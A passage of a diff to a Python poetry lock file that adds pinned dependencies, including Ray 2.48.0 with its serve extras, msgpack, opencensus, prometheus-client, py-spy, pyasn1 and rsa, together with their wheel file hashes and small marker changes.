"sha256:d8b55ea20dc59b181d3f47103f113e6f28a5e1c89fd5b67b9140edb442ab67f2"}, + {file = "msgpack-1.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4a28e8072ae9779f20427af07f53bbb8b4aa81151054e882aee333b158da8752"}, + {file = "msgpack-1.1.1-cp311-cp311-win32.whl", hash = "sha256:7da8831f9a0fdb526621ba09a281fadc58ea12701bc709e7b8cbc362feabc295"}, + {file = "msgpack-1.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:5fd1b58e1431008a57247d6e7cc4faa41c3607e8e7d4aaf81f7c29ea013cb458"}, + {file = "msgpack-1.1.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ae497b11f4c21558d95de9f64fff7053544f4d1a17731c866143ed6bb4591238"}, + {file = "msgpack-1.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:33be9ab121df9b6b461ff91baac6f2731f83d9b27ed948c5b9d1978ae28bf157"}, + {file = "msgpack-1.1.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6f64ae8fe7ffba251fecb8408540c34ee9df1c26674c50c4544d72dbf792e5ce"}, + {file = "msgpack-1.1.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a494554874691720ba5891c9b0b39474ba43ffb1aaf32a5dac874effb1619e1a"}, + {file = "msgpack-1.1.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cb643284ab0ed26f6957d969fe0dd8bb17beb567beb8998140b5e38a90974f6c"}, + {file = "msgpack-1.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d275a9e3c81b1093c060c3837e580c37f47c51eca031f7b5fb76f7b8470f5f9b"}, + {file = "msgpack-1.1.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:4fd6b577e4541676e0cc9ddc1709d25014d3ad9a66caa19962c4f5de30fc09ef"}, + {file = "msgpack-1.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb29aaa613c0a1c40d1af111abf025f1732cab333f96f285d6a93b934738a68a"}, + {file = "msgpack-1.1.1-cp312-cp312-win32.whl", hash = "sha256:870b9a626280c86cff9c576ec0d9cbcc54a1e5ebda9cd26dab12baf41fee218c"}, + {file = "msgpack-1.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:5692095123007180dca3e788bb4c399cc26626da51629a31d40207cb262e67f4"}, + {file = "msgpack-1.1.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:3765afa6bd4832fc11c3749be4ba4b69a0e8d7b728f78e68120a157a4c5d41f0"}, + {file = "msgpack-1.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:8ddb2bcfd1a8b9e431c8d6f4f7db0773084e107730ecf3472f1dfe9ad583f3d9"}, + {file = "msgpack-1.1.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:196a736f0526a03653d829d7d4c5500a97eea3648aebfd4b6743875f28aa2af8"}, + {file = "msgpack-1.1.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d592d06e3cc2f537ceeeb23d38799c6ad83255289bb84c2e5792e5a8dea268a"}, + {file = "msgpack-1.1.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4df2311b0ce24f06ba253fda361f938dfecd7b961576f9be3f3fbd60e87130ac"}, + {file = "msgpack-1.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e4141c5a32b5e37905b5940aacbc59739f036930367d7acce7a64e4dec1f5e0b"}, + {file = "msgpack-1.1.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b1ce7f41670c5a69e1389420436f41385b1aa2504c3b0c30620764b15dded2e7"}, + {file = "msgpack-1.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4147151acabb9caed4e474c3344181e91ff7a388b888f1e19ea04f7e73dc7ad5"}, + {file = "msgpack-1.1.1-cp313-cp313-win32.whl", hash = "sha256:500e85823a27d6d9bba1d057c871b4210c1dd6fb01fbb764e37e4e8847376323"}, + {file = "msgpack-1.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:6d489fba546295983abd142812bda76b57e33d0b9f5d5b71c09a583285506f69"}, + {file = "msgpack-1.1.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bba1be28247e68994355e028dcd668316db30c1f758d3241a7b903ac78dcd285"}, + {file = "msgpack-1.1.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b8f93dcddb243159c9e4109c9750ba5b335ab8d48d9522c5308cd05d7e3ce600"}, + {file = "msgpack-1.1.1-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2fbbc0b906a24038c9958a1ba7ae0918ad35b06cb449d398b76a7d08470b0ed9"}, + {file = "msgpack-1.1.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:61e35a55a546a1690d9d09effaa436c25ae6130573b6ee9829c37ef0f18d5e78"}, + {file = "msgpack-1.1.1-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:1abfc6e949b352dadf4bce0eb78023212ec5ac42f6abfd469ce91d783c149c2a"}, + {file = "msgpack-1.1.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:996f2609ddf0142daba4cefd767d6db26958aac8439ee41db9cc0db9f4c4c3a6"}, + {file = "msgpack-1.1.1-cp38-cp38-win32.whl", hash = "sha256:4d3237b224b930d58e9d83c81c0dba7aacc20fcc2f89c1e5423aa0529a4cd142"}, + {file = "msgpack-1.1.1-cp38-cp38-win_amd64.whl", hash = "sha256:da8f41e602574ece93dbbda1fab24650d6bf2a24089f9e9dbb4f5730ec1e58ad"}, + {file = "msgpack-1.1.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:f5be6b6bc52fad84d010cb45433720327ce886009d862f46b26d4d154001994b"}, + {file = "msgpack-1.1.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:3a89cd8c087ea67e64844287ea52888239cbd2940884eafd2dcd25754fb72232"}, + {file = "msgpack-1.1.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d75f3807a9900a7d575d8d6674a3a47e9f227e8716256f35bc6f03fc597ffbf"}, + {file = "msgpack-1.1.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d182dac0221eb8faef2e6f44701812b467c02674a322c739355c39e94730cdbf"}, + {file = "msgpack-1.1.1-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1b13fe0fb4aac1aa5320cd693b297fe6fdef0e7bea5518cbc2dd5299f873ae90"}, + {file = "msgpack-1.1.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:435807eeb1bc791ceb3247d13c79868deb22184e1fc4224808750f0d7d1affc1"}, + {file = "msgpack-1.1.1-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:4835d17af722609a45e16037bb1d4d78b7bdf19d6c0128116d178956618c4e88"}, + {file = "msgpack-1.1.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:a8ef6e342c137888ebbfb233e02b8fbd689bb5b5fcc59b34711ac47ebd504478"}, + {file = "msgpack-1.1.1-cp39-cp39-win32.whl", hash = "sha256:61abccf9de335d9efd149e2fff97ed5974f2481b3353772e8e2dd3402ba2bd57"}, + {file = "msgpack-1.1.1-cp39-cp39-win_amd64.whl", hash = "sha256:40eae974c873b2992fd36424a5d9407f93e97656d999f43fca9d29f820899084"}, + {file = "msgpack-1.1.1.tar.gz", hash = "sha256:77b79ce34a2bdab2594f490c8e80dd62a02d650b91a75159a63ec413b8d104cd"}, +] + [[package]] name = "multidict" version = "6.6.4" @@ -2786,6 +3094,35 @@ datalib = ["numpy (>=1)", "pandas (>=1.2.3)", "pandas-stubs (>=1.1.0.11)"] realtime = ["websockets (>=13,<16)"] voice-helpers = ["numpy (>=2.0.2)", "sounddevice (>=0.5.1)"] +[[package]] +name = "opencensus" +version = "0.11.4" +description = "A stats collection and distributed tracing framework" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "opencensus-0.11.4-py2.py3-none-any.whl", hash = "sha256:a18487ce68bc19900336e0ff4655c5a116daf10c1b3685ece8d971bddad6a864"}, + {file = "opencensus-0.11.4.tar.gz", hash = "sha256:cbef87d8b8773064ab60e5c2a1ced58bbaa38a6d052c41aec224958ce544eff2"}, +] + +[package.dependencies] +google-api-core = {version = ">=1.0.0,<3.0.0", markers = "python_version >= \"3.6\""} +opencensus-context = ">=0.1.3" +six = ">=1.16,<2.0" + +[[package]] +name = "opencensus-context" +version = "0.1.3" +description = "OpenCensus Runtime Context" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "opencensus-context-0.1.3.tar.gz", hash = "sha256:a03108c3c10d8c80bb5ddf5c8a1f033161fa61972a9917f9b9b3a18517f0088c"}, + {file = "opencensus_context-0.1.3-py2.py3-none-any.whl", hash = "sha256:073bb0590007af276853009fac7e4bab1d523c3f03baf4cb4511ca38967c6039"}, +] + [[package]] name = "opentelemetry-api" version = "1.34.1" @@ -2838,6 +3175,23 @@ opentelemetry-sdk = ">=1.34.1,<1.35.0" requests = ">=2.7,<3.0" typing-extensions = ">=4.5.0" +[[package]] +name = "opentelemetry-exporter-prometheus" +version = "0.55b1" +description = "Prometheus Metric Exporter for OpenTelemetry" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "opentelemetry_exporter_prometheus-0.55b1-py3-none-any.whl", hash = "sha256:f364fbbff9e5de37a112ff104d1185fb1d7e2046c5ab5911e5afebc7ab3ddf0e"}, + {file = "opentelemetry_exporter_prometheus-0.55b1.tar.gz", hash = "sha256:d13ec0b22bf394113ff1ada5da98133a4b051779b803dae183188e26c4bd9ee0"}, +] + +[package.dependencies] +opentelemetry-api = ">=1.12,<2.0" +opentelemetry-sdk = ">=1.34.1,<1.35.0" +prometheus-client = ">=0.5.0,<1.0.0" + [[package]] name = "opentelemetry-instrumentation" version = "0.55b1" @@ -3207,7 +3561,7 @@ version = "4.3.8" description = "A small Python package for determining appropriate platform-specific dirs, e.g. a `user data dir`." optional = false python-versions = ">=3.9" -groups = ["dev"] +groups = ["main", "dev"] files = [ {file = "platformdirs-4.3.8-py3-none-any.whl", hash = "sha256:ff7059bb7eb1179e2685604f4aaf157cfd9535242bd23742eadc3c13542139b4"}, {file = "platformdirs-4.3.8.tar.gz", hash = "sha256:3d512d96e16bcb959a814c9f348431070822a6496326a4be0911c40b5a74c2bc"}, @@ -3356,6 +3710,21 @@ files = [ [package.dependencies] tqdm = "*" +[[package]] +name = "prometheus-client" +version = "0.22.1" +description = "Python client for the Prometheus monitoring system." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "prometheus_client-0.22.1-py3-none-any.whl", hash = "sha256:cca895342e308174341b2cbf99a56bef291fbc0ef7b9e5412a0f26d653ba7094"}, + {file = "prometheus_client-0.22.1.tar.gz", hash = "sha256:190f1331e783cf21eb60bca559354e0a4d4378facecf78f5428c39b675d20d28"}, +] + +[package.extras] +twisted = ["twisted"] + [[package]] name = "prompt-toolkit" version = "3.0.51" @@ -3479,6 +3848,24 @@ files = [ {file = "propcache-0.3.2.tar.gz", hash = "sha256:20d7d62e4e7ef05f221e0db2856b979540686342e7dd9973b815599c7057e168"}, ] +[[package]] +name = "proto-plus" +version = "1.26.1" +description = "Beautiful, Pythonic protocol buffers" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "proto_plus-1.26.1-py3-none-any.whl", hash = "sha256:13285478c2dcf2abb829db158e1047e2f1e8d63a077d94263c2b88b043c75a66"}, + {file = "proto_plus-1.26.1.tar.gz", hash = "sha256:21a515a4c4c0088a773899e23c7bbade3d18f9c66c73edd4c7ee3816bc96a012"}, +] + +[package.dependencies] +protobuf = ">=3.19.0,<7.0.0" + +[package.extras] +testing = ["google-api-core (>=1.31.5)"] + [[package]] name = "protobuf" version = "5.29.5" @@ -3552,6 +3939,27 @@ files = [ [package.extras] tests = ["pytest"] +[[package]] +name = "py-spy" +version = "0.4.1" +description = "" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "py_spy-0.4.1-py2.py3-none-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:809094208c6256c8f4ccadd31e9a513fe2429253f48e20066879239ba12cd8cc"}, + {file = "py_spy-0.4.1-py2.py3-none-macosx_11_0_arm64.whl", hash = "sha256:1fb8bf71ab8df95a95cc387deed6552934c50feef2cf6456bc06692a5508fd0c"}, + {file = "py_spy-0.4.1-py2.py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee776b9d512a011d1ad3907ed53ae32ce2f3d9ff3e1782236554e22103b5c084"}, + {file = "py_spy-0.4.1-py2.py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:532d3525538254d1859b49de1fbe9744df6b8865657c9f0e444bf36ce3f19226"}, + {file = "py_spy-0.4.1-py2.py3-none-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4972c21890b6814017e39ac233c22572c4a61fd874524ebc5ccab0f2237aee0a"}, + {file = "py_spy-0.4.1-py2.py3-none-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6a80ec05eb8a6883863a367c6a4d4f2d57de68466f7956b6367d4edd5c61bb29"}, + {file = "py_spy-0.4.1-py2.py3-none-win_amd64.whl", hash = "sha256:d92e522bd40e9bf7d87c204033ce5bb5c828fca45fa28d970f58d71128069fdc"}, + {file = "py_spy-0.4.1.tar.gz", hash = "sha256:e53aa53daa2e47c2eef97dd2455b47bb3a7e7f962796a86cc3e7dbde8e6f4db4"}, +] + +[package.extras] +test = ["numpy"] + [[package]] name = "pyarrow" version = "19.0.1" @@ -3607,6 +4015,33 @@ files = [ [package.extras] test = ["cffi", "hypothesis", "pandas", "pytest", "pytz"] +[[package]] +name = "pyasn1" +version = "0.6.1" +description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pyasn1-0.6.1-py3-none-any.whl", hash = "sha256:0d632f46f2ba09143da3a8afe9e33fb6f92fa2320ab7e886e2d0f7672af84629"}, + {file = "pyasn1-0.6.1.tar.gz", hash = "sha256:6f580d2bdd84365380830acf45550f2511469f673cb4a5ae3857a3170128b034"}, +] + +[[package]] +name = "pyasn1-modules" +version = "0.4.2" +description = "A collection of ASN.1-based protocols modules" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pyasn1_modules-0.4.2-py3-none-any.whl", hash = "sha256:29253a9207ce32b64c3ac6600edc75368f98473906e8fd1043bd6b5b1de2c14a"}, + {file = "pyasn1_modules-0.4.2.tar.gz", hash = "sha256:677091de870a80aae844b1ca6134f54652fa2c8c5a52aa396440ac3106e941e6"}, +] + +[package.dependencies] +pyasn1 = ">=0.6.1,<0.7.0" + [[package]] name = "pycparser" version = "2.22" @@ -3973,7 +4408,7 @@ files = [ {file = "pywin32-311-cp39-cp39-win_amd64.whl", hash = "sha256:e0c4cfb0621281fe40387df582097fd796e80430597cb9944f0ae70447bacd91"}, {file = "pywin32-311-cp39-cp39-win_arm64.whl", hash = "sha256:62ea666235135fee79bb154e695f3ff67370afefd71bd7fea7512fc70ef31e3d"}, ] -markers = {main = "sys_platform == \"win32\"", dev = "sys_platform == \"win32\" and platform_python_implementation != \"PyPy\""} +markers = {main = "sys_platform == \"win32\"", dev = "platform_python_implementation != \"PyPy\" and sys_platform == \"win32\""} [[package]] name = "pyyaml" @@ -4158,6 +4593,88 @@ files = [ [package.dependencies] cffi = {version = "*", markers = "implementation_name == \"pypy\""} +[[package]] +name = "ray" +version = "2.48.0" +description = "Ray provides a simple, universal API for building distributed applications." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "ray-2.48.0-cp310-cp310-macosx_12_0_arm64.whl", hash = "sha256:6ca2b9ce45ad360cbe2996982fb22691ecfe6553ec8f97a2548295f0f96aac78"}, + {file = "ray-2.48.0-cp310-cp310-macosx_12_0_x86_64.whl", hash = "sha256:33bda4753ad0acd2b524c9158089d43486cd44cc59fe970466435bc2968fde2d"}, + {file = "ray-2.48.0-cp310-cp310-manylinux2014_aarch64.whl", hash = "sha256:f820950bc44d7b000c223342f5c800c9c08e7fd89524201125388ea211caad1a"}, + {file = "ray-2.48.0-cp310-cp310-manylinux2014_x86_64.whl", hash = "sha256:649ed9442dc2d39135c593b6cf0c38e8355170b92672365ab7a3cbc958c42634"}, + {file = "ray-2.48.0-cp310-cp310-win_amd64.whl", hash = "sha256:be45690565907c4aa035d753d82f6ff892d1e6830057b67399542a035b3682f0"}, + {file = "ray-2.48.0-cp311-cp311-macosx_12_0_arm64.whl", hash = "sha256:4b9b92ac29635f555ef341347d9a63dbf02b7d946347239af3c09e364bc45cf8"}, + {file = "ray-2.48.0-cp311-cp311-macosx_12_0_x86_64.whl", hash = "sha256:b94500fe2d17e491fe2e9bd4a3bf62df217e21a8f2845033c353d4d2ea240f73"}, + {file = "ray-2.48.0-cp311-cp311-manylinux2014_aarch64.whl", hash = "sha256:24a70f416ec0be14b975f160044805ccb48cc6bc50de632983eb8f0a8e16682b"}, + {file = "ray-2.48.0-cp311-cp311-manylinux2014_x86_64.whl", hash = "sha256:46d4b42a58492dec79caad2d562344689a4f99a828aeea811a0cd2cd653553ef"}, + {file = "ray-2.48.0-cp311-cp311-win_amd64.whl", hash = "sha256:cfb48c10371c267fdcf7f4ae359cab706f068178b9c65317ead011972f2c0bf3"}, + {file = "ray-2.48.0-cp312-cp312-macosx_12_0_arm64.whl", hash = "sha256:8de799f3b0896f48d306d5e4a04fc6037a08c495d45f9c79935344e5693e3cf8"}, + {file = "ray-2.48.0-cp312-cp312-macosx_12_0_x86_64.whl", hash = "sha256:5a6f57126eac9dd3286289e07e91e87b054792f9698b6f7ccab88b624816b542"}, + {file = "ray-2.48.0-cp312-cp312-manylinux2014_aarch64.whl", hash = "sha256:f1cf33d260316f92f77558185f1c36fc35506d76ee7fdfed9f5b70f9c4bdba7f"}, + {file = "ray-2.48.0-cp312-cp312-manylinux2014_x86_64.whl", hash = "sha256:a42ed3b640f4b599a3fc8067c83ee60497c0f03d070d7a7df02a388fa17a546b"}, + {file = "ray-2.48.0-cp312-cp312-win_amd64.whl", hash = "sha256:e15fdffa6b60d5729f6025691396b8a01dc3461ba19dc92bba354ec1813ed6b1"}, + {file = "ray-2.48.0-cp313-cp313-macosx_12_0_arm64.whl", hash = "sha256:a7a6d830d9dc5ae8bb156fcde9a1adab7f4edb004f03918a724d885eceb8264d"}, + {file = "ray-2.48.0-cp313-cp313-macosx_12_0_x86_64.whl", hash = "sha256:5742b72a514afe5d60f41330200cd508376e16c650f6962e62337aa482d6a0c6"}, + {file = "ray-2.48.0-cp313-cp313-manylinux2014_aarch64.whl", hash = "sha256:622e6bcdb78d98040d87bea94e65d0bb6ccc0ae1b43294c6bd69f542bf28e092"}, + {file = "ray-2.48.0-cp313-cp313-manylinux2014_x86_64.whl", hash = "sha256:25e4b79fcc8f849d72db1acc4f03f37008c5c0b745df63d8a30cd35676b6545e"}, + {file = "ray-2.48.0-cp39-cp39-macosx_12_0_arm64.whl", hash = "sha256:ea9d7739ae8f6db48b226bbc2a592640f7f2b6d854ff73d0305774b98fa9fb11"}, + {file = "ray-2.48.0-cp39-cp39-macosx_12_0_x86_64.whl", hash = "sha256:b427dead5f8ad96d494d3a006d92ea2f8f16be5e6303b590e12234b37f96fbc2"}, + {file = "ray-2.48.0-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:a45de103173c2ed6a0defd7a2919a2bbe531fd5bf6619860cd111ca4a16e9288"}, + {file = "ray-2.48.0-cp39-cp39-manylinux2014_x86_64.whl", hash = "sha256:e6543fb3450a71862cfa1e7a666025d751f81685602cc87d499072ccd839507d"}, + {file = "ray-2.48.0-cp39-cp39-win_amd64.whl", hash = "sha256:b37a0fea4094f95d5926b1d7245abd70deb62882da3d738f9f9b76214894745c"}, +] + +[package.dependencies] +aiohttp = {version = ">=3.7", optional = true, markers = "extra == \"serve\""} +aiohttp-cors = {version = "*", optional = true, markers = "extra == \"serve\""} +click = ">=7.0" +colorful = {version = "*", optional = true, markers = "extra == \"serve\""} +fastapi = {version = "*", optional = true, markers = "extra == \"serve\""} +filelock = "*" +grpcio = {version = ">=1.42.0", optional = true, markers = "python_version >= \"3.10\" and extra == \"serve\""} +jsonschema = "*" +msgpack = ">=1.0.0,<2.0.0" +opencensus = {version = "*", optional = true, markers = "extra == \"serve\""} +opentelemetry-exporter-prometheus = {version = "*", optional = true, markers = "extra == \"serve\""} +opentelemetry-proto = {version = "*", optional = true, markers = "extra == \"serve\""} +opentelemetry-sdk = {version = ">=1.30.0", optional = true, markers = "extra == \"serve\""} +packaging = "*" +prometheus-client = {version = ">=0.7.1", optional = true, markers = "extra == \"serve\""} +protobuf = ">=3.15.3,<3.19.5 || >3.19.5" +py-spy = [ + {version = ">=0.2.0", optional = true, markers = "python_version < \"3.12\" and extra == \"serve\""}, + {version = ">=0.4.0", optional = true, markers = "python_version >= \"3.12\" and extra == \"serve\""}, +] +pydantic = {version = "<2.0.dev0 || >=2.5.dev0,<3", optional = true, markers = "extra == \"serve\""} +pyyaml = "*" +requests = "*" +smart-open = {version = "*", optional = true, markers = "extra == \"serve\""} +starlette = {version = "*", optional = true, markers = "extra == \"serve\""} +uvicorn = {version = "*", extras = ["standard"], optional = true, markers = "extra == \"serve\""} +virtualenv = {version = ">=20.0.24,<20.21.1 || >20.21.1", optional = true, markers = "extra == \"serve\""} +watchfiles = {version = "*", optional = true, markers = "extra == \"serve\""} + +[package.extras] +adag = ["cupy-cuda12x ; sys_platform != \"darwin\""] +air = ["aiohttp (>=3.7)", "aiohttp-cors", "colorful", "fastapi", "fsspec", "grpcio (>=1.32.0) ; python_version < \"3.10\"", "grpcio (>=1.42.0) ; python_version >= \"3.10\"", "numpy (>=1.20)", "opencensus", "opentelemetry-exporter-prometheus", "opentelemetry-proto", "opentelemetry-sdk (>=1.30.0)", "pandas", "pandas (>=1.3)", "prometheus-client (>=0.7.1)", "py-spy (>=0.2.0) ; python_version < \"3.12\"", "py-spy (>=0.4.0) ; python_version >= \"3.12\"", "pyarrow (>=9.0.0)", "pydantic (<2.0.dev0 || >=2.5.dev0,<3)", "requests", "smart-open", "starlette", "tensorboardX (>=1.9)", "uvicorn[standard]", "virtualenv (>=20.0.24,!=20.21.1)", "watchfiles"] +all = ["aiohttp (>=3.7)", "aiohttp-cors", "colorful", "cupy-cuda12x ; sys_platform != \"darwin\"", "dm-tree", "fastapi", "fsspec", "grpcio", "grpcio (!=1.56.0) ; sys_platform == \"darwin\"", "grpcio (>=1.32.0) ; python_version < \"3.10\"", "grpcio (>=1.42.0) ; python_version >= \"3.10\"", "gymnasium (==1.0.0)", "lz4", "memray ; sys_platform != \"win32\"", "numpy (>=1.20)", "opencensus", "opentelemetry-exporter-prometheus", "opentelemetry-proto", "opentelemetry-sdk (>=1.30.0)", "ormsgpack (==1.7.0)", "pandas", "pandas (>=1.3)", "prometheus-client (>=0.7.1)", "py-spy (>=0.2.0) ; python_version < \"3.12\"", "py-spy (>=0.4.0) ; python_version >= \"3.12\"", "pyOpenSSL", "pyarrow (>=9.0.0)", "pydantic (<2.0.dev0 || >=2.5.dev0,<3)", "pyyaml", "requests", "scipy", "smart-open", "starlette", "tensorboardX (>=1.9)", "uvicorn[standard]", "virtualenv (>=20.0.24,!=20.21.1)", "watchfiles"] +all-cpp = ["aiohttp (>=3.7)", "aiohttp-cors", "colorful", "cupy-cuda12x ; sys_platform != \"darwin\"", "dm-tree", "fastapi", "fsspec", "grpcio", "grpcio (!=1.56.0) ; sys_platform == \"darwin\"", "grpcio (>=1.32.0) ; python_version < \"3.10\"", "grpcio (>=1.42.0) ; python_version >= \"3.10\"", "gymnasium (==1.0.0)", "lz4", "memray ; sys_platform != \"win32\"", "numpy (>=1.20)", "opencensus", "opentelemetry-exporter-prometheus", "opentelemetry-proto", "opentelemetry-sdk (>=1.30.0)", "ormsgpack (==1.7.0)", "pandas", "pandas (>=1.3)", "prometheus-client (>=0.7.1)", "py-spy (>=0.2.0) ; python_version < \"3.12\"", "py-spy (>=0.4.0) ; python_version >= \"3.12\"", "pyOpenSSL", "pyarrow (>=9.0.0)", "pydantic (<2.0.dev0 || >=2.5.dev0,<3)", "pyyaml", "ray-cpp (==2.48.0)", "requests", "scipy", "smart-open", "starlette", "tensorboardX (>=1.9)", "uvicorn[standard]", "virtualenv (>=20.0.24,!=20.21.1)", "watchfiles"] +cgraph = ["cupy-cuda12x ; sys_platform != \"darwin\""] +client = ["grpcio", "grpcio (!=1.56.0) ; sys_platform == \"darwin\""] +cpp = ["ray-cpp (==2.48.0)"] +data = ["fsspec", "numpy (>=1.20)", "pandas (>=1.3)", "pyarrow (>=9.0.0)"] +default = ["aiohttp (>=3.7)", "aiohttp-cors", "colorful", "grpcio (>=1.32.0) ; python_version < \"3.10\"", "grpcio (>=1.42.0) ; python_version >= \"3.10\"", "opencensus", "opentelemetry-exporter-prometheus", "opentelemetry-proto", "opentelemetry-sdk (>=1.30.0)", "prometheus-client (>=0.7.1)", "py-spy (>=0.2.0) ; python_version < \"3.12\"", "py-spy (>=0.4.0) ; python_version >= \"3.12\"", "pydantic (<2.0.dev0 || >=2.5.dev0,<3)", "requests", "smart-open", "virtualenv (>=20.0.24,!=20.21.1)"] +llm = ["aiohttp (>=3.7)", "aiohttp-cors", "async-timeout ; python_version < \"3.11\"", "colorful", "fastapi", "fsspec", "grpcio (>=1.32.0) ; python_version < \"3.10\"", "grpcio (>=1.42.0) ; python_version >= \"3.10\"", "jsonref (>=1.1.0)", "jsonschema", "ninja", "numpy (>=1.20)", "opencensus", "opentelemetry-exporter-prometheus", "opentelemetry-proto", "opentelemetry-sdk (>=1.30.0)", "pandas (>=1.3)", "prometheus-client (>=0.7.1)", "py-spy (>=0.2.0) ; python_version < \"3.12\"", "py-spy (>=0.4.0) ; python_version >= \"3.12\"", "pyarrow (>=9.0.0)", "pydantic (<2.0.dev0 || >=2.5.dev0,<3)", "requests", "smart-open", "starlette", "typer", "uvicorn[standard]", "virtualenv (>=20.0.24,!=20.21.1)", "vllm (>=0.9.2)", "watchfiles"] +observability = ["memray ; sys_platform != \"win32\""] +rllib = ["dm-tree", "fsspec", "gymnasium (==1.0.0)", "lz4", "ormsgpack (==1.7.0)", "pandas", "pyarrow (>=9.0.0)", "pyyaml", "requests", "scipy", "tensorboardX (>=1.9)"] +serve = ["aiohttp (>=3.7)", "aiohttp-cors", "colorful", "fastapi", "grpcio (>=1.32.0) ; python_version < \"3.10\"", "grpcio (>=1.42.0) ; python_version >= \"3.10\"", "opencensus", "opentelemetry-exporter-prometheus", "opentelemetry-proto", "opentelemetry-sdk (>=1.30.0)", "prometheus-client (>=0.7.1)", "py-spy (>=0.2.0) ; python_version < \"3.12\"", "py-spy (>=0.4.0) ; python_version >= \"3.12\"", "pydantic (<2.0.dev0 || >=2.5.dev0,<3)", "requests", "smart-open", "starlette", "uvicorn[standard]", "virtualenv (>=20.0.24,!=20.21.1)", "watchfiles"] +serve-grpc = ["aiohttp (>=3.7)", "aiohttp-cors", "colorful", "fastapi", "grpcio (>=1.32.0) ; python_version < \"3.10\"", "grpcio (>=1.42.0) ; python_version >= \"3.10\"", "opencensus", "opentelemetry-exporter-prometheus", "opentelemetry-proto", "opentelemetry-sdk (>=1.30.0)", "prometheus-client (>=0.7.1)", "py-spy (>=0.2.0) ; python_version < \"3.12\"", "py-spy (>=0.4.0) ; python_version >= \"3.12\"", "pyOpenSSL", "pydantic (<2.0.dev0 || >=2.5.dev0,<3)", "requests", "smart-open", "starlette", "uvicorn[standard]", "virtualenv (>=20.0.24,!=20.21.1)", "watchfiles"] +train = ["fsspec", "pandas", "pyarrow (>=9.0.0)", "pydantic (<2.0.dev0 || >=2.5.dev0,<3)", "requests", "tensorboardX (>=1.9)"] +tune = ["fsspec", "pandas", "pyarrow (>=9.0.0)", "requests", "tensorboardX (>=1.9)"] + [[package]] name = "referencing" version = "0.36.2" @@ -4540,6 +5057,21 @@ files = [ {file = "rpds_py-0.27.0.tar.gz", hash = "sha256:8b23cf252f180cda89220b378d917180f29d313cd6a07b2431c0d3b776aae86f"}, ] +[[package]] +name = "rsa" +version = "4.9.1" +description = "Pure-Python RSA implementation" +optional = false +python-versions = "<4,>=3.6" +groups = ["main"] +files = [ + {file = "rsa-4.9.1-py3-none-any.whl", hash = "sha256:68635866661c6836b8d39430f97a996acbd61bfa49406748ea243539fe239762"}, + {file = "rsa-4.9.1.tar.gz", hash = "sha256:e7bdbfdb5497da4c07dfd35530e1a902659db6ff241e39d9953cad06ebd0ae75"}, +] + +[package.dependencies] +pyasn1 = ">=0.1.3" + [[package]] name = "ruamel-yaml" version = "0.18.14" @@ -5555,7 +6087,6 @@ description = "The lightning-fast ASGI server." optional = false python-versions = ">=3.9" groups = ["main"] -markers = "sys_platform != \"emscripten\"" files = [ {file = "uvicorn-0.35.0-py3-none-any.whl", hash = "sha256:197535216b25ff9b785e29a0b79199f55222193d47f820816e7da751e9bc8d4a"}, {file = 